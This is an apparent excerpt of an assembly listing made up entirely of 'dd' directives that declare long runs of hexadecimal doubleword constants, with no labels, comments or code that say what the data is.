dd 1B67E086h, 5F4D00DFh, 13B4E70h, 889189F9h, 0F4004824h
dd 97216E3Ah, 0DEFA15F5h, 5000A80Fh, 9F1607DFh, 91F1FB5h
dd 8340406Bh, 0FDD8B3B9h, 0E4580C12h, 8E812969h, 11E75F00h
dd 3233DC08h, 0F82C1C23h, 281FCE7Bh, 958061CEh, 25FE6DFBh
dd 0A4B9AD3Eh, 0CD1CE8FFh, 70BE3803h, 15639079h, 22510F31h
dd 0BA84ED20h, 466088BDh, 87916C3Eh, 0D24ECAF9h, 0E9707120h
dd 0AA1D00C0h, 18C4EB23h, 97F83453h, 0BDEC1254h, 0BE45430Eh
dd 0B187E1BCh, 0A0F0178Ah, 745D0282h, 85D6CD94h, 0E87E6C49h
dd 0DF00277Ah, 0C777F69Ah, 22295E8Bh, 1400FADEh, 0A2316523h
dd 3A3F616Ch, 968090ABh, 80344F8Ah, 0EB111CF1h, 2600F7DEh
dd 86F8BF53h, 5B00820Fh, 0DC1E392Ah, 26634BA6h, 9B484CAh
dd 741098A0h, 0AA14104Fh, 1DE5BD6h, 0AB37164Ch, 2189A397h
dd 7D000D5Ch, 82CD5C7h, 0CF458E6h, 69C23D0Ch, 1B7951h
dd 0BABB3221h, 858C3116h, 8030BE58h, 0B7747597h, 0BC0004Eh
dd 4FC73CCEh, 39EC2735h, 0F7ACFF00h, 681B2684h, 540E0356h
dd 7742E9DAh, 0F8862289h, 0ACB0BED8h, 15EC683Ah, 40A0901Fh
dd 313DB1E8h, 10BE2C97h, 0A0503B40h, 3D910376h, 340387F7h
dd 7DA7E9B0h, 2A2F2E00h, 9D16F4B6h, 840254FCh, 91231F71h
dd 0D626C624h, 0C2006186h, 7DB764EDh, 0C67BE7h, 0BE424B7Ah
dd 19DEE8F0h, 8BFA300Ch, 26B79A4h, 232C88F4h, 6CC01B17h
dd 88B15471h, 0A6634A80h, 27ECC33h, 1E86F1Ah, 484111CAh
dd 807CC5BAh, 0FD7F6C29h, 0E7F1D3EDh, 0FA37B240h, 0C934A087h
dd 0B77B2EEEh, 4FE96078h, 8B00C45Ch, 0FC9F2377h, 0F637617Dh
dd 70570878h, 0D4802969h, 36CFA7AFh, 0CD050E4Ah, 0DE0058A4h
dd 38080484h, 194DB600h, 312BB078h, 0D5C0A06Fh, 5D978A4h
dd 358E702Ch, 573880FBh, 3590F489h, 0D3999D63h, 2E91078Bh
dd 203A27D7h, 80B74896h, 38387D30h, 252ABC4h, 441DA6F7h
dd 484273B6h, 0C4D9F427h, 6754C0E8h, 265CCD9Fh, 555B023Eh
dd 9084FA99h, 0A6219D90h, 836E04DCh, 0C81DF8EDh, 4CB07034h
dd 6C4CCD2Ch, 0F72A6000h, 80C07Eh, 0D713A129h, 0FB2590C6h
dd 0AB1688F8h, 7840ADD3h, 2E37FFE4h, 0EC5800B5h, 31B6699Fh
dd 3003D75h, 3510FB9Ah, 9101C26Eh, 275E80F8h, 0E3A47BF1h
dd 24F1A1Ch, 34953AC0h
dd 1E195F75h, 18F6D7D4h, 189D310Bh, 0B0812C00h, 0A0E6FBEEh
dd 179CA420h, 1514D01h, 46F03128h, 509AF97Eh, 0D50FC50h
dd 0C00C4C00h, 0AB59D95h, 701401FFh, 2B614F96h, 63D1F578h
dd 0B1CB0354h, 0F037F5BBh, 7D6DB85h, 1BCB771h, 447A80A8h
dd 210614CDh, 82915108h, 4E550189h, 0FA9723C9h, 0B9BE89h
dd 0B0CD1641h, 3EFCA586h, 384424A0h, 618AF48h, 0A7B68088h
dd 1DF61F34h, 0D8234069h, 0FDAF6B8Ah, 997A8430h, 0FEB357FFh
dd 269894E6h, 0EA51144h, 1AD0E4Ch, 28A60BBFh, 98BD030h
dd 1EE86925h, 0B8501480h, 0E00CA35h, 0C189864Eh, 0FC942387h
dd 60752C9Dh, 0E04602Ch, 0E4005C06h, 8FB40BC7h, 1F1B728h
dd 0CE94222Bh, 0D6CCF67Ch, 40B42063h, 82470331h, 18D8006Ah
dd 4DBB35C8h, 74B0A756h, 3EB2038h, 9A75A5A9h, 38B1EFF8h
dd 0BB21A112h, 80C18814h, 70E399h, 0DEE62EB8h, 349D4254h
dd 61134B60h, 105C9A01h, 0E6FA0A51h, 4E77A041h, 17834C4h
dd 14AFC4AAh, 361EA0F8h, 0D6B00978h, 82EB8h, 0A016017Eh
dd 2EE0015Bh, 9DA7E50Eh, 0A1218038h, 0FB8D58FAh, 1E963E7Dh
dd 27BDB913h, 0F9B4A094h, 890003B6h, 73FB7701h, 1396118h
dd 794A0446h, 60A5F41Ah, 5B05B5DCh, 0CE7BF749h, 62608Ch
dd 91704888h, 61694C20h, 34921C12h, 0C3D89060h, 756A00DCh
dd 911C02CDh, 22016806h, 6C3FC7E9h, 2843D3C6h, 4C25E801h
dd 63C100E1h, 487D3045h, 5D004062h, 690F4A0Ch, 0AD7D308h
dd 0D2555CCFh, 221200DDh, 3718409Ah, 0CE8BCA19h, 0AFC9E20h
dd 30570092h, 69EB7560h, 0F800490Eh, 1F20A2C6h, 78589C0Fh
dd 30CD656Fh, 4A9DC6D3h, 60030EAh, 0B8DF6C0h, 35AF54Ah
dd 0CBAA6962h, 6106D01Dh, 0A045D20Ch, 6B840D91h, 0E248D598h
dd 1F64B240h, 4FFAAA05h, 0ADC05AC0h, 14A8286h, 80B8FE35h
dd 0E41B3161h, 60F1C266h, 6C015781h, 41C4AC70h, 0CAE4B742h
dd 71D5601Eh, 1A71A550h, 3962A304h, 8FC7C68Ah, 428F6840h
dd 0C829FC9Ch, 88DE530h, 3F60D9D0h, 0CDBA01E7h, 9CB513F1h
dd 2F54DC4Ah, 5EECC3E0h, 191F5600h, 681EF004h, 21600D6h
dd 6A800571h, 49C9FED5h, 0E86706D7h, 8B8F0361h, 0E74CB546h
dd 1A638AB0h, 0E5C2D1Ch, 0F00A88C0h, 308EF32h, 5762DD02h
dd 81C02833h, 0E2050650h, 2234D2B0h, 0AD68A045h, 0C0BAA44Eh
dd 76A78AF2h, 9D6F05FDh, 0C09C6D59h, 8236DB0Dh, 6840490Ch
dd 776231B3h, 0B5E200B7h, 16172A75h, 0D93859D2h, 12448FDAh
dd 5D322603h, 4AA60678h, 0D1B407E6h, 0A47D7C00h, 8A42820Eh
dd 46F50CB9h, 2DE1B0E5h, 0FF00EF73h, 0A752B2F9h, 58CA2FE1h
dd 88306453h, 190F1250h, 0D451D210h, 8A41D70Ch, 851857DAh
dd 0F610E324h, 84E81F16h, 9CA10D20h, 60C4E0B9h, 0A63EE57Dh
dd 6680804Fh, 0D5702112h, 0CB8A438h, 0BA0B5709h, 2D01E911h
dd 0FF307A8h, 64400881h, 0DBB1F0Eh, 91CB779Fh, 98EAF061h
dd 4849CD63h, 0C47BB06Fh, 6AB80E7Ah, 0DA445BA6h, 12F6C035h
dd 34A87F44h, 6700C5EAh, 8C732E47h, 123C3056h, 702870D1h
dd 37D4C248h, 0F0900500h, 0FDFB52F7h, 0BB313008h, 41822549h
dd 0C5AF7D18h, 0D0F389h, 0B34E1891h, 0AE7C3EF5h, 0E065083Dh
dd 72C7CA20h, 7F8F0034h, 73547042h, 46004071h, 28B0F949h
dd 50D556C1h, 30CA6C57h, 3591DF20h, 0CC480521h, 2C8700F8h
dd 91C16A3h, 1830A250h, 1D4CA688h, 8F6B5h, 1D4E4AFCh, 333B90BCh
dd 0D35160AFh, 0A4F26E4Dh, 1DDD00A8h, 671A4FF9h, 33003285h
dd 118351F0h, 167357h, 0FFAEC150h, 0DA46BA87h, 0A5083413h
dd 0CE571306h, 0EF4F0079h, 0F5019B1h, 0CA28B0E6h, 0A5153087h
dd 5F385ADFh, 2C72B0h, 7A8289C6h, 5D65583Ch, 9C985224h
dd 3AA564Bh, 189060F6h, 6900CBE3h, 5C7972FAh, 1DCD086h
dd 1B1F7AACh, 0DF451A3Eh, 0DF48802Eh, 0FB437800h, 23803E2h
dd 7F8AB67Ah, 3EC1AF02h, 8021D199h, 41CCA469h, 1A4DF7h
dd 926E6035h, 5D762EDFh, 0FE172507h, 0B47AC671h, 4D911280h
dd 46195Bh, 0E5F24E01h, 808418F9h, 0D738B01h, 0C70BA845h
dd 0D721E610h, 0C14658h, 2C7FC878h, 3721FF6h, 42F9D537h
dd 0AA86256h, 66360B8Ah, 26039C6h, 1DAC5ADDh, 0C08920h
dd 6F84D51Ch, 0EF09293Bh, 22AA5C98h, 5AA94200h, 13BFEDE3h
dd 18DB883h, 2E17C2A6h, 40F2AB69h, 7F19BC88h, 0F4683360h
dd 0F8F0C565h, 732D06EFh, 61B9087Ch, 0F9A2C200h, 842A695Eh
dd 1B980056h, 59223580h, 0B8A03039h, 7B7FEC14h, 0D1587900h
dd 0D2709FC2h, 0F89D544Fh, 3922F6F6h, 2E0659A1h, 0B1DBF221h
dd 0FEE0C600h, 41DF137Eh, 506D6088h, 0CB667B0Dh, 0DD782258h
dd 9FFAC384h, 7DCD0780h, 80F458D1h, 2D210A7Ch, 80D07E08h
dd 0C28C946h, 0DA00C771h, 891A98C8h, 4DDE4CD2h, 922C89Fh
dd 9E583401h, 299B921Dh, 350C5C0h, 75F1319Ah, 3100E098h
dd 13FF0FAFh, 43B55Ch, 28EB441Ah, 0F4F93974h, 0F1B8CF16h
dd 3BF64C20h, 463A00EFh, 26CA6241h, 0C28219Fh, 70A650ABh
dd 85083707h, 0A3A551B9h, 7B02C405h, 0CFEF8002h, 0F18880B5h
dd 7CCB1F1Dh, 7383004Fh, 6F879256h, 0DF6FAF9Fh, 18B54FA1h
dd 0B0762Eh, 0E8D626CBh, 0A649EF42h, 0E85B5426h, 7A9D0D00h
dd 3C71D35h, 0CC10660Ah, 0B900DC8Bh, 0F8551902h, 5082D2D1h
dd 4C92D8DAh, 0B58040F1h, 5D3A27D4h, 0A6A9000h, 916DAB52h
dd 0A7E11DE3h, 9560C099h, 36EE96B6h, 0F0E752h, 3D5974C9h
dd 0DF4AD2E1h, 7B6C05F9h, 50A08241h, 1979A864h, 9885DC1Dh
dd 27BF4A2h, 0F65AFEAh, 34404086h, 6E12AE38h, 144033ABh
dd 88393A78h, 1F407401h, 1671E42h, 4ED214EAh, 7E719D0Ah
dd 64604DD6h, 24EB5811h, 127C6681h, 0E2FC017Fh, 6440AF53h
dd 0C028AEE4h, 0BE139888h, 0B030335Bh, 125E24h, 0D376C9Ch
dd 0D2235581h, 1EA21802h, 0C4697E0Bh, 164B00E0h, 0B5015A2Fh
dd 371CB912h, 0A0C09931h, 28F6BD4Fh, 0BA160A40h, 809827F1h
dd 0B8884BF3h, 0F206D89Ah, 0F9AFBB3Ah, 0F5FA0079h, 0A7F709B7h
dd 60005F1Ah, 0EB26AE65h, 0A8CC0851h, 0E64A4h, 77AC844Bh
dd 4E34BCECh, 0EA88AF03h, 306D57h, 3F55D0E8h, 51973C39h
dd 0B41FCA24h, 2ED280C7h, 8F4E1C1h, 36006432h, 0D54F8B52h
dd 0C9E0C5DFh, 45EE8000h, 61ED1149h, 179A0008h, 0BC48F3Bh
dd 9888D75Ch, 47C1C0FAh, 3C6F0E25h, 0EAB75D00h, 36CC546Ah
dd 0AE5724A8h, 0C0173F00h, 0F8D40EC4h, 8880C28Eh, 34FAA04Dh
dd 0F1B6FE0Ch, 3B6A59E2h, 9412F865h, 7987002Fh, 6804CC24h
dd 0C9C14009h, 277C480Bh, 0AD93129Dh, 53780FFFh, 0D6E71983h
dd 1C4939h, 76523099h, 5CCEEEBEh, 4E01E939h, 0C65992ACh
dd 2A4980D3h, 0FFE3E58Fh, 0CCD900FDh, 73FB3EC1h, 75F6DA57h
dd 48463F01h, 0A4721231h, 136B0024h, 0C152E9h, 4879A9C2h
dd 62092AB8h, 993E4CADh, 3E03A44h, 0E40A006Dh, 14B5853Bh
dd 0A4075629h, 728A60ACh, 0F23C80C1h, 0B2003432h, 0CDB77913h
dd 2B0137A3h, 0B9AF6A7h, 0B187B531h, 996D7DFEh, 0E0099448h
dd 2E803901h, 0D7AA5E37h, 0F9FEAC83h, 0C0DFE233h, 6BAD0C5Ah
dd 0B899549Ah, 0B9070480h, 56CCC6h, 88383589h, 0E3DF63C5h
dd 0CDABC40h, 0B67D0A1h, 0E4E668D1h, 2BB09100h, 0CEA93F4Ch
dd 878F0479h, 81B72E22h, 11CF60C8h, 40F253CAh, 1276FFF0h
dd 0C0C6802Dh
dd 0FEA76F6Ch, 2CF2861Bh, 0DB5C00F9h, 0CD5B71BBh, 950757FFh
dd 0A4110746h, 81B0A6h, 0A881B690h, 327464B9h, 1634AD00h
dd 8517B266h, 1F3103AFh, 0D1E6C580h, 7FF85901h, 388347FCh
dd 9CBB8740h, 0EF910B10h, 58185857h, 8A09893Eh, 0B3DAAC4h
dd 38D0309Ch, 0C40748FFh, 0E1B65180h, 5F5080A1h, 2A03F4D3h
dd 68AA9688h, 95A900AFh, 0F61B0BB5h, 14722699h, 0AA0038ECh
dd 0FA91B47Fh, 30281184h, 6F310568h, 4B0052EBh, 3614B14Dh
dd 0B198FB57h, 0FC900004h, 106FF018h, 71DABF09h, 19030096h
dd 3C0B0DF3h, 0E829416h, 0A3E1AF75h, 532244A0h, 8D003658h
dd 41BDE59Bh, 0B9E83Eh, 30D977FCh, 8FE1813Bh, 1F046F76h
dd 90A54F9Ch, 2E1BBCC0h, 49E7635Dh, 0E9EB939Eh, 4D221FE0h
dd 9492DD02h, 0C0F3C866h, 2814770h, 9FE84F37h, 8C64BD2h
dd 7A407900h, 5AF1587Bh, 0DFEB0A50h, 0C7B01ECAh, 0D23322D9h
dd 3925D2C3h, 0BF68A0E6h, 15351E0h, 0A5A9E4DCh, 30562F80h
dd 0E92E98E4h, 0E881547Ch, 0FF4F33ECh, 847DC0D3h, 53D21159h
dd 508000A1h, 5D9608BEh, 0F871024Ch, 0E7704DADh, 26003C64h
dd 8987CE20h, 10193Fh, 0A3AF62CAh, 0C78E2553h, 0CCEF5B00h
dd 7628D9ECh, 93C10B50h, 20040E3Bh, 0E6AB40C6h, 1800D87h
dd 748B78D1h, 0F8B653B1h, 3700C269h, 0A74FE346h, 4A65EA2h
dd 3108F19Eh, 0AFCC927Ch, 0E6004CE4h, 8E185158h, 0E2EED66h
dd 6F1D54E9h, 0D33B3100h, 1E3C89A9h, 342C876Eh, 0D4FACA42h
dd 36708049h, 91E08DEBh, 0A7C58FDCh, 827CA4A0h, 0D0A2193h
dd 8CAAFCCEh, 51E5F900h, 0A4689078h, 0B8BE0198h, 0B6E1B216h
dd 1808203Dh, 8429C41Fh, 6CE7047Dh, 10B54DD5h, 0C0215160h
dd 1A4B4228h, 2700827Dh, 0F88A1261h, 19A952Eh, 55B9609Bh
dd 0F163A406h, 0E06F200Eh, 921DCE7Ch, 37896E8Ch, 0EB7848F2h
dd 0EAE20744h, 1079B5CEh, 62AD2093h, 2E5A63Ah, 0CA447C7Bh
dd 9874E41Ch, 0D2D603F4h, 0B9A15799h, 43E945AFh, 0E385CAA8h
dd 8028295Ch, 228A2698h, 48BB7403h, 0D209AD50h, 3021DFA1h
dd 0E516A0B2h, 85842C39h, 0DC8C9003h, 37CF002Bh, 0A94CBB95h
dd 0AA724AECh, 913DE338h, 6707B90Bh, 0E2BFC03Bh, 0F464E54Dh
dd 5D85ED00h, 16DC7EFh, 1345E811h, 307B561Dh, 2425A7D0h
dd 7F5CB500h, 0A535F027h, 29D405FFh, 1AF3F06h, 7E9D2614h
dd 0BF5FDC4Fh, 2B1DFE1Eh, 50C8C153h, 0EEEB1CAFh, 0F08740D9h
dd 517FB8DCh, 0D8ACA100h, 8675B615h, 8014B241h, 6F605Ch
dd 0F96AC397h, 0BFB31989h, 8C300C2Ch, 301B3A09h, 2C4E6EB0h
dd 3EF8C2A4h, 0B4148214h, 899630C3h, 0D0548FC9h, 132E5146h
dd 0F385F46Dh, 0ACCC8535h, 5BC901CDh, 65139225h, 42E5CCF7h
dd 170E5300h, 0F36A77D2h, 0AF84167Fh, 0C48027ADh, 0F1748847h
dd 2AB0D454h, 5BCAA501h, 1268E192h, 7F852180h, 0C11C3C7Ah
dd 0C49AAC0Bh, 0EC8490C6h, 0EC98E059h, 83EC5Dh, 47EAD681h
dd 0FEF53562h, 276B4D3Bh, 2A18200Bh, 0F9C7BF0h, 40124337h
dd 1EFF8EE1h, 6E0DFC06h, 6FDFCF02h, 681957D5h, 0E75088h
dd 0D0EDEC90h, 53CBF4ACh, 7060C307h, 0C0F05CDEh, 58E1696Ch
dd 0D322F009h, 3F5AC0Fh, 7142C07Ch, 0FCE7Dh, 392EA85Ch
dd 11EE0D8Ah, 12A66499h, 15D56400h, 0EEADD104h, 0F8AFAF2h
dd 0E04F95ABh, 40483A4Ah, 0BE8B3D58h, 40E0784Ch, 0CA3F40EDh
dd 0D251E284h, 18188D46h, 0DC0827D2h, 0BE0054A1h, 0E9DB2BFCh
dd 1D74721h, 64F77F59h, 38D240BAh, 0E0311180h, 3BCAC804h
dd 8B21Dh, 0FE7A0139h, 0B01B2C23h, 0D8104C28h, 54436504h
dd 2040C38Dh, 0C011A01Dh, 357EEF05h, 336A20C0h, 49CC60AFh
dd 0AD0F34CDh, 7500A1B8h, 898DF4BDh, 4746928h, 61B722D5h
dd 5CA27Bh, 7311863Dh, 2BCAC33h, 2A83144Fh, 6E41B012h
dd 8BF0C3CAh, 0BF518480h, 17042384h, 6400EFDAh, 0DEBD644Eh
dd 4C664B08h, 7BA08778h, 7F0E091Fh, 821A0F00h, 2392050h
dd 860AD1F9h, 4C41020Ch, 38801008h, 4DC3038Eh, 0D5D0EC1Fh
dd 0E6F07298h, 9AB82A54h, 77460500h, 0E3A54A9Dh, 0FC2F5A60h
dd 8AD840DCh, 39117342h, 0B367111Dh, 78132F00h, 2905A8F1h
dd 0C648EA03h, 0B8EEA769h, 1FAA11Eh, 549D965Eh, 73CE38D5h
dd 571502E0h, 0C3187966h, 0FAB80898h, 10800771h, 4640497Fh
dd 0A1150101h, 0D10D4E73h, 0E0F9D15Bh, 0A9124A0Bh, 0CC201FCBh
dd 122D2133h, 61E0893Bh, 73253028h, 0A4BE0088h, 0C692CD79h
dd 16E274h, 1EB84220h, 5C0A0724h, 253BD514h, 82274h, 1F025255h
dd 10F69D78h, 0A0726B09h, 404C8EBBh, 223DAB71h, 303B25E7h
dd 5F53FC90h, 174D84Ch, 0CC15EDF5h, 0DA41BC69h, 0A1802EF2h
dd 6BB06AA2h, 5A008A8Bh, 6FE5157Eh, 182E485h, 3FDB82Dh
dd 290B19B3h, 0F4E91FB4h, 81B0003Ch, 0FAA01AC5h, 0B956006Dh
dd 0CEF8D21Fh, 0F1134248h, 0FC1DF037h, 100E824h, 66844713h
dd 6E1901BDh, 5C810AD5h, 899C70ACh, 38C0D945h, 0F90C6068h
dd 1423C1B6h, 4D00C0F8h, 624534C3h, 60DC4BA8h, 0E70B5838h
dd 4A01AF77h, 5936F310h, 0B87268F8h, 0A780DE3Ah, 0B9495DC8h
dd 5C00F9A0h, 0C4D20C77h, 0EA297AABh, 8B809160h, 0CA55AE6h
dd 0A8888C6Ah, 0F43D64F2h, 1C4D8F1h, 14119459h, 4C21C116h
dd 46013479h, 0CA377CDDh, 1E06286h, 6B8D055Dh, 0A872AF45h
dd 5FAD0F7Fh, 2BE081C8h, 70ECD61Bh, 0E7F04212h, 0FE91F090h
dd 1F320548h, 8057B2C9h, 1CF73ED0h, 0F24CF412h, 9822A020h
dd 537F0021h, 50A3EFC4h, 401C55BDh, 58405DE4h, 0BA830EAEh
dd 4F451D6Fh, 0C41F7FEAh, 3ADF6C80h, 41C86607h, 75E1C08Ah
dd 2A755B84h, 0B70014B8h, 6034E4D8h, 2495F57Eh, 4F904AD2h
dd 409C3320h, 0F8E9037Fh, 46F20612h, 0FDAFCA00h, 14A432D9h
dd 262F01E0h, 0E62DCE84h, 0B120802Ch, 8DCF29E8h, 7F41E419h
dd 0EBE50306h, 977A6669h, 1D96E3B0h, 4451C767h, 0D3CBFCD0h
dd 0C45F006Ah, 7EB7910Bh, 9D01E432h, 0CD40536Eh, 318FB812h
dd 805D9615h, 0B3480149h, 0C50F84F6h, 5B0B4273h, 6DFFF080h
dd 0E67259h, 802423E4h, 0F5BC1326h, 6A416000h, 0E0BE2B52h
dd 4437183Bh, 0B775B917h, 0E2FB63Ah, 7FB02ABCh, 674151B0h
dd 2ECF8CFh, 0F12E7119h, 4A43B03Fh, 42EE2101h, 262AA3E1h
dd 0FE2F7EF0h, 107939A5h, 0AFA73A83h, 1909EB3h, 6002E0Dh
dd 0B285FC11h, 0D9B1B040h, 0C83938D9h, 0BC07815Ch, 0EAA95F18h
dd 0DC431197h, 29D612h, 0DD7AB497h, 5924CDBh, 4E00BC90h
dd 5BFB65BFh, 184AF7C6h, 31C4126Eh, 1E587E36h, 2197075Fh
dd 0C1B032ADh, 309C5680h, 9381CCDEh, 230577C2h, 0CB2ECA94h
dd 0A6640C00h, 387AA81h, 47CE6331h, 0D000994Eh, 0EC5379DFh
dd 0E3DEE2F4h, 0A84F3180h, 0A6F6212Fh, 0D5DBF00h, 883D175Bh
dd 0C06601E2h, 0CEFBC628h, 9AC8C3B5h, 931855D1h, 26413DDEh
dd 779901D6h, 38D359A7h, 28C4045h, 22013695h, 0E3C2433Ah
dd 319637DEh, 0FE0000F8h, 9EDCA76Eh, 1A02D11Eh, 341D2F40h
dd 18E037CDh, 31DADF69h, 0EE00F9F7h, 0BFCE9028h, 2784025h
dd 524DA162h, 1B00B98Ah, 1844ACCDh, 3934DE0Ch, 4E00773Ch
dd 89189955h, 4FBA0Ah, 9E7DAC45h, 914C797Eh, 4ACCD600h
dd 22C71CA7h, 7417B8Eh, 0F06B44DDh, 231B102Ah, 7E0E0E9Ch
dd 0F2E645ACh, 73D63C43h, 0F8889BBDh, 0A1B882h, 5F373E1Bh
dd 0F49DFA36h
dd 3344B49h, 6EB58DF1h, 1A28F818h, 0E8200DAh, 0F932FF79h
dd 1F15C675h, 5CE601h, 42F73FD8h, 3ED92A50h, 3998B23Dh
dd 0F45AE4DDh, 0C1E98218h, 1D0B6B89h, 8305FBDCh, 3C7CF0Ah
dd 287D39F0h, 1E06827Ch, 0C6863753h, 54F41831h, 275B68CBh
dd 0F3AAF000h, 2638589Eh, 591F00D9h, 90B1A0BFh, 31094D7Ah
dd 901DF462h, 2D6624h, 0DB01ED6Ah, 2E6BA0B3h, 8F3CC248h
dd 0CF664F98h, 41A9C58Dh, 0CFDF8046h, 9170021h, 7218BD7Fh
dd 1300C7F6h, 0EF24F754h, 50165AEAh, 7F8C98h, 0F37559B2h
dd 0CE86B67Eh, 81B31D30h, 79F8353Dh, 0A0DDFED5h, 27283Ch
dd 0A7FDC503h, 9605C68Ah, 0DEA0E604h, 0F88897B0h, 0DBB50FB8h
dd 9020F593h, 2EAD6718h, 3D4F0B02h, 0AA9AB3B0h, 663548Ch
dd 50C5B83Ch, 6EAA001Dh, 258C220Dh, 0F805D6ADh, 90B395D0h
dd 42A03007h, 0E26A8E3Eh, 0E03579EFh, 122EB4C3h, 3124F926h
dd 0D44115DCh, 30E17C8Bh, 9F487784h, 622A0204h, 2133DEAFh
dd 60CEEE59h, 0D504EA5Fh, 0CFC2CDDBh, 9A148Ch, 0D89187D2h
dd 75D58506h, 472DC501h, 3F66C762h, 133AE3F8h, 7587415h
dd 4611CA80h, 4607E9C6h, 0E4BC48B0h, 501EA120h, 0A810B095h
dd 17A1514h, 68DA1956h, 50BE9D30h, 8ACB2560h, 0C0355000h
dd 7B59584h, 7C6CE0D4h, 36DE220Ah, 0D75C9A00h, 8B273041h
dd 0F64E0061h, 44AD8CD0h, 0B109EE55h, 320B4C5h, 0BEE854E0h
dd 421F0039h, 9AFD898Ah, 6700D126h, 249BFF9Eh, 18146C17h
dd 0A92DE673h, 2A003B33h, 5C34CC48h, 0CD11AA7h, 7C8ADF7Fh
dd 0BD006358h, 0EE75F608h, 1648C2Fh, 2DC4F5A5h, 607C10C6h
dd 0B0111E1Ch, 0DF194590h, 0E8B58931h, 0C83B3024h, 885A0061h
dd 0CD8D3D4Dh, 6B0F1E31h, 51B30BB1h, 3EBCD683h, 2041413Dh
dd 131F0ACh, 1E66ED0Eh, 0E090742Ch, 0BE03851Dh, 30F3A413h
dd 346BC046h, 0F468A08Bh, 0E049C03Fh, 1B5083AEh, 28164A09h
dd 63708018h, 1986569h, 437DC6FDh, 63C23ECDh, 330500E4h
dd 0BCC8EE6Bh, 0B98F04EDh, 0C0A13719h, 6D820383h, 0B0123818h
dd 7C8E06A1h, 7CB33E2Dh, 2BF28B80h, 3B1DF0EFh, 2C84573Eh
dd 7F60A891h, 2E38BCFEh, 0CE6BE11h, 9B49B21Dh, 973CAE00h
dd 0AB19FD6Ah, 3B5D0731h, 0B5928144h, 16140012h, 232F4BE0h
dd 1DF7F101h, 6DD1F4Ch, 0C03CF4D0h, 4B599269h, 8A3FC0B0h
dd 798A5CD4h, 0E7F38100h, 87B2567Ch, 7664190Eh, 207808FEh
dd 8F882808h, 9935009Ah, 17F4368Ah, 56003A37h, 64B80359h
dd 54DEDA4Dh, 38F0DBh, 2696725Ch, 0B6765D0Ah, 3E45A907h
dd 1CA0A031h, 70EF8E7h, 0BC561FBDh, 0B40BD006h, 0D441255h
dd 96CD00B9h, 0F24B7E15h, 6D007A53h, 4D5BDB99h, 4BCCFC3h
dd 0E924AB8Ah, 4C74015h, 4862FD2Bh, 6C1D5014h, 11300CCEh
dd 0D77C6121h, 7610F6Fh, 1370F92Eh, 359F2C5Ah, 80192FE9h
dd 0C4D5AB5Bh, 0A23CA90Fh, 70007E96h, 0C132B784h, 1266786Dh
dd 20DD8A7Eh, 0CD9FDC68h, 1D2DE400h, 37FDB55Ah, 1D62E79h
dd 4E40092Ch, 1E2EB490h, 16B23Fh, 0C312C7C4h, 0FF8448h
dd 674C5A0Eh, 0F6A611F3h, 4093ED07h, 0C24EF97Fh, 4192EF32h
dd 604044E8h, 0A4B669Ch, 1DD9B7E8h, 0E63E409Ch, 0F09DF438h
dd 0B51A1657h, 884314A5h, 0B403AE00h, 57F7FEDDh, 28008C98h
dd 0AFC8E667h, 500766B0h, 0B05988AAh, 22C4426Ch, 6F7D9Ah
dd 1544857Fh, 0DA941637h, 174DDF01h, 9A6A6C1Dh, 16B06DD4h
dd 7E3E67h, 99A67834h, 0B1444840h, 127905F6h, 80B05E5Bh
dd 0F1EFFC1Ch, 0EC36AF07h, 0ABB226ADh, 308C4443h, 1339BD4Ch
dd 0B744E6Ah, 90DDBC00h, 39C5EC51h, 588A5819h, 56E22EC0h
dd 6402679Dh, 0CB5AF93h, 0EF2C0A1h, 0E8A8A184h, 0F03816F3h
dd 62D8200Bh, 6F000443h, 17455CDBh, 4D99A7h, 4E8F0923h
dd 0F39FBBCh, 95D26E00h, 16177B0Eh, 980B3011h, 0B36F5A41h
dd 801CDE0h, 22D21B0Fh, 5C320B0Eh, 2DF96103h, 36D07F1Ah
dd 0F0B9DD91h, 77C36000h, 4A6D8E7h, 0B3F3D217h, 0CC98C8BCh
dd 30C8448h, 0BBF65F6h, 5E190042h, 147F2610h, 8F7F4AB2h
dd 915FDE09h, 93E800BCh, 913337DBh, 309E1614h, 5CE0F97Ch
dd 0E8CD1200h, 517AFC47h, 2767002Dh, 4A077EB0h, 407791EEh
dd 4BCBA52h, 0ED8908BCh, 0AC029485h, 40AAF47Ch, 0F950118h
dd 0AC943D47h, 87C6C580h, 0DF4CF08Ah, 75EA8004h, 0E41E3BD4h
dd 0CDE50748h, 8F0E2ED5h, 456F188Fh, 26BC43FCh, 0B10029E9h
dd 7B6EC5E4h, 96B42DAh, 0AC20823Eh, 62E39C00h, 80B9F456h
dd 0B3B53400h, 0F2235Eh, 0B2E0719Dh, 8F467F70h, 0AAB04260h
dd 0B8F6E3h, 0AF9CEEB3h, 658DE560h, 0E10B1230h, 0FE921595h
dd 48FF016Dh, 9A711466h, 0BCE430EFh, 14980EE0h, 256460E7h
dd 0F808DE89h, 8F656800h, 37F04E22h, 88A039Ah, 2BE9FB41h
dd 0FEAD100h, 0D08D399Fh, 8A622496h, 94F8004Ch, 528370Ah
dd 7C3CC700h, 1338EBB3h, 97881464h, 0D80020A4h, 722AE140h
dd 0D958156Fh, 0E4022EACh, 22C4EC00h, 0C032BE2Eh, 544AA91h
dd 9CFCB069h, 41C6574h, 6F45F5BCh, 0ACC72B36h, 9524924h
dd 50820E64h, 1829B0BDh, 2ECDB5A8h, 310EE6BFh, 30D104A8h
dd 7988100Ch, 0EE3604C2h, 88494092h, 0DE0B3F18h, 85547853h
dd 8430388Ch, 16090D8h, 0A80B0781h, 20803B99h, 0CD0184D0h
dd 0B7930A11h, 789E5306h, 26D868AAh, 174F7B3h, 0C1ACC264h
dd 9C0208Ah, 44E6D228h, 3FBE1302h, 5ADF2EECh, 6F600BCh
dd 7C24530Ch, 693C604Bh, 0A4FF00F7h, 52DC84FEh, 620E2E73h
dd 67040398h, 0C10E8F13h, 0A0EA6A9Ch, 9DACE518h, 0D8B95008h
dd 0DE8901FCh, 2E5A1184h, 0D2D44039h, 2F44E6D1h, 0B358267Eh
dd 26230E25h, 0A87D38E3h, 30182E18h, 9C323799h, 0ABED41B0h
dd 542CE0h, 63AF8DE9h, 2965D59Bh, 5C43834h, 2435C62Eh
dd 50A2F0h, 0EBDE72B8h, 5C8451h, 8124FB0Ch, 0AD671C6Ch
dd 0D42CC71Ah, 0B3F004B0h, 92FE898h, 395A12E8h, 3B070064h
dd 7F9EB893h, 8037E8AFh, 0A9CD5640h, 690025A5h, 8422E53Fh
dd 4C85C1C0h, 0A030A882h, 0CBA605C0h, 0A6484127h, 7418114Ch
dd 66B20A7Dh, 49944434h, 9F56880h, 64036EACh, 0CB40D683h
